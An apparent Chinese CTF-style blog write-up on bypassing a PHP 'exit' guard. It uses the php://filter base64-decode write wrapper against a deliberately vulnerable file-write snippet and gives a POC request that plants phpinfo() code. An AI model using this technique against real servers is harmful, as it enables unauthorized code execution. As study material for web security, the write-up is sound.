关于php的exit函数的绕过问题

<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

例如这个代码不管怎么样你的$c 最开始都有exit 来结束代码
所以后面不管加什么都会直接结束
而最后include(‘tmp.php’) 说明我们需要代码执行或者系统命令执行我们才可以拿到shell
所以我们需要绕过这个exit这个函数

这里我们可以利用php伪协议进行绕过
php://filter/write=convert.base64-decode
因为<?php exit;?>中"<、?、;、>"等符号base64解码时都会被忽略,所以经过base64解码之后变成’phpexit’ 但是这里面只有7个字节 base64 是4个一组解码 所以我们还需要任意添加一个字符如’a’

那么我们构造的poc如下:
c=aPD9waHAgcGhwaW5mbygpOz8+&file=php://filter/write=convert.base64-decode/resource=t.php
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值